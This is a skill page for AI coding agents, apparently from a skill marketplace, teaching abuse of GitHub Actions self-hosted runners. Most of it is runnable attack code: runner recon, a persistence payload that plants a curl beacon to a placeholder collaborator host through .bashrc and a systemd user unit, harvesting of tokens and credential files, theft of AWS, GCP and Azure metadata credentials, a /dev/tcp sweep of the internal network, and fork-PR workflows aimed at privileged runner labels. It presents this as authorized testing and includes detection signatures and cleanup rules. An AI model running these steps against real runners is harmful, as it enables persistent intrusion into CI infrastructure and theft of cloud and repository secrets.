# Self Hosted Runner Abuse

> Self-hosted runner abuse — non-ephemeral runner persistence, fork-PR job execution on self-hosted, runner-label targeting, secret/token theft from runner env, lateral movement from runner into internal network and cloud metadata services.

- Skill: `purpleailab/self-hosted-runner-abuse` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/self-hosted-runner-abuse`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/self-hosted-runner-abuse/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/self-hosted-runner-abuse

---


# Self-Hosted Runner Abuse

Self-hosted runners are attacker dreams: long-lived machines inside the target's network, with the build user's filesystem, often persistent between jobs, frequently reachable to internal services and cloud metadata. **Default GitHub policy on public repos is to NOT run workflows from first-time contributors without approval — but the gate is per-repo and frequently relaxed.**

## Recon — does the target use self-hosted?

```bash
# 1. Workflow labels
grep -rnE 'runs-on:\s*(\[\s*self-hosted|self-hosted)' <REPO>/.github/workflows/

# 2. Custom labels signal self-hosted runners ("linux-large", "internal", "gpu-a100")
grep -rnE 'runs-on:\s*\[?[a-z0-9_-]+' <REPO>/.github/workflows/ \
  | grep -vE 'ubuntu-(latest|20|22|24)|windows-(latest|20)|macos-(latest|13|14)'

# 3. Public run history reveals runner hostnames
gh run list --repo <OWNER>/<REPO> --limit 20 --json databaseId,name | jq -r '.[].databaseId' \
  | while read id; do gh run view "$id" --repo <OWNER>/<REPO> --log 2>/dev/null \
      | grep -iE 'Runner name|Runner group|Machine name'; done | sort -u

# 4. Org-level runner registrations (auth required, but org members often have read)
gh api "orgs/<OWNER>/actions/runners" --jq '.runners[] | {name,os,status,labels:[.labels[].name]}'
```

## Default vs ephemeral

| Mode | Behavior | Attacker upside |
|---|---|---|
| **Default (non-ephemeral)** | Same VM/container picks up the next job. `/home/runner/work/_temp/`, `~/.cache`, env from prior jobs may persist. | Persist files; reuse leaked creds; race the next job |
| **Ephemeral** (`--ephemeral`) | Runner exits after one job; VM is destroyed | Per-job isolation; persistence requires escape to host |
| **`actions/runner-images` self-hosted on K8s with ARC** | Pod per job, but cluster identity (`ServiceAccount`) is shared | Pivot to cluster API via projected token |

```bash
# Inside a job — fingerprint the runner
uname -a; id; whoami
mount | grep -E '/home|/runner|overlay'
ls -la /actions-runner /home/runner /opt/actions-runner 2>/dev/null
env | grep -E 'RUNNER_|GITHUB_' | head
# Ephemeral runners typically have RUNNER_TEMP wiped; non-ephemeral have leftover dirs
ls -la "$RUNNER_TEMP/.." 2>/dev/null
```

## Fork-PR execution on self-hosted

```yaml
# DANGEROUS — fork PRs run on the org's self-hosted fleet
on: pull_request
jobs:
  test:
    runs-on: [self-hosted, linux, internal]
    steps:
      - uses: actions/checkout@v4
      - run: make test
```

If the repo did not enable "Require approval for all outside collaborators", a fork PR with a poisoned `Makefile` (see `poisoned-pipeline-execution/SKILL.md`) gives RCE on the internal runner. **First-time-contributor approval is also bypassable**: contribute a trivial PR first, get it merged, then weaponize subsequent PRs as a returning contributor.

## Persistence on non-ephemeral runners

```bash
# In the malicious job step
RUNNER_BIN="$(dirname "$(which Runner.Listener 2>/dev/null || echo /actions-runner/run.sh)")"
echo "Found runner at: $RUNNER_BIN"

# 1. Drop a payload in a path the runner sources before next job
mkdir -p "$HOME/.config"
cat > "$HOME/.config/runner-helper.sh" <<'EOF'
# Beacon — runs as the runner user on next shell-step entry
nohup bash -c 'while true; do curl -s "https://<COLLAB>/beacon/$(hostname)"; sleep 3600; done' &>/dev/null &
EOF

# 2. Hook into bash via runner user's .bashrc — works for any step using a login shell
grep -q runner-helper "$HOME/.bashrc" || echo 'source "$HOME/.config/runner-helper.sh"' >> "$HOME/.bashrc"

# 3. systemd --user unit (if lingering enabled)
mkdir -p "$HOME/.config/systemd/user"
cat > "$HOME/.config/systemd/user/beacon.service" <<'EOF'
[Unit] Description=research beacon
[Service] ExecStart=/usr/bin/curl -s https://<COLLAB>/svc/%H
Restart=always
[Install] WantedBy=default.target
EOF
systemctl --user daemon-reload && systemctl --user enable --now beacon.service 2>/dev/null || true
```

**Stop**. In an authorized engagement, set the beacon TTL to one hit and document removal steps. Persistence proves the capability; do not actually persist.

## Token / secret theft from runner env

```bash
# All secrets used in the current job are in env vars or files actions wrote
env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_' | head
ls -la "$RUNNER_TEMP" "$HOME/.docker" "$HOME/.aws" "$HOME/.kube" 2>/dev/null

# GITHUB_TOKEN is mounted in env and as `.credential` for git
cat "$HOME/work/_temp/_github_workflow/event.json" 2>/dev/null | head -20
git config --global --get-all credential.helper

# Other jobs' artifacts may still be on disk on non-ephemeral runners
find / -name 'event.json' -path '*_github_workflow*' 2>/dev/null
find /tmp /var/tmp "$RUNNER_TEMP/.." -type f -newer /etc/hostname 2>/dev/null | head -50
```

Cross-reference `cicd-secrets-exfil/SKILL.md` for masking-bypass and OIDC exchange once a token is in hand.

## Lateral movement from the runner

```bash
# 1. Cloud metadata — runner is almost always on EC2/GCE/Azure VM
curl -sH 'Metadata-Token: required' http://169.254.169.254/latest/meta-data/      # AWS IMDSv1 (often allowed even when v2 enforced for users)
TOKEN=$(curl -sX PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 60' http://169.254.169.254/latest/api/token)
curl -sH "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'
curl -sH 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

# 2. Internal network — runner is often on a private VPC subnet with reach to staging/prod
ip route; cat /etc/resolv.conf
# Quick TCP sweep with bash builtins (no nmap install needed)
for ip in 10.0.0.{1..20}; do
  for p in 22 80 443 5432 6379 8080 9090; do
    (echo >/dev/tcp/$ip/$p) 2>/dev/null && echo "$ip:$p open"
  done
done

# 3. Kubernetes ServiceAccount (ARC / self-hosted on K8s)
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | cut -c1-12
```

## Runner-label targeting

If the org has a label `gpu-a100` mapped to a specific physical host, crafting a workflow with `runs-on: [self-hosted, gpu-a100]` pins your job to that host. Useful to:

- Target a specific build operator's machine (developer workstation runners are a pattern in some orgs).
- Land on a runner with weaker egress controls (e.g. `windows-build-old` left from a migration).

```yaml
# Reachability test — does the org let arbitrary fork-PRs target privileged labels?
on: pull_request
jobs:
  pin:
    runs-on: [self-hosted, prod-deploy]
    steps: [{ run: 'hostname; id; env | grep -i deploy' }]
```

## Detection signatures

| Signal | Source |
|---|---|
| Outbound DNS/HTTP from runner to non-allowlisted host | egress firewall / Suricata |
| New `~/.bashrc` / systemd user unit on a non-ephemeral runner | host EDR (osquery, Falco) |
| `runs-on:` self-hosted + `on: pull_request` (not `pull_request_target` w/ approval) | zizmor / octoscan |
| First-time-contributor PR approved + immediate follow-up PR | GitHub Insights / org-level review |
| IMDS access from a runner's job | VPC flow logs / cloud audit |

## Tools

| Tool | Use |
|---|---|
| `gato-x runners` | Enumerates self-hosted runners across an org, identifies PPE targets |
| `octoscan` | Flags self-hosted + untrusted-trigger combinations |
| `runner-images` (GitHub) | Compare against the official ephemeral image to spot persistence diffs |
| `osquery` / `falco` | Defender-side; useful to know what they see |

## Decision gate

1. Self-hosted runner engagements have higher blast radius than hosted — get explicit written authorization for **lateral movement** and **metadata access**, not just CI execution.
2. Do not exfil cloud creds. `curl -s 169.254.169.254/.../security-credentials/` and **print first 8 chars only**.
3. Remove any persistence (`.bashrc` entry, systemd unit, dropped files) before declaring done. Include cleanup commands in the report.
4. Never pivot to a machine outside the runner's subnet without separate authorization.

## References

- GitHub docs — "About self-hosted runners" (limitations + warnings)
- Praetorian — "Self-Hosted GitHub Runners Are Backdoors"
- Adnan Khan — runner-takeover writeups (Tesla, Microsoft, et al.)
- `actions-runner-controller` (ARC) — ephemeral runner pattern on K8s

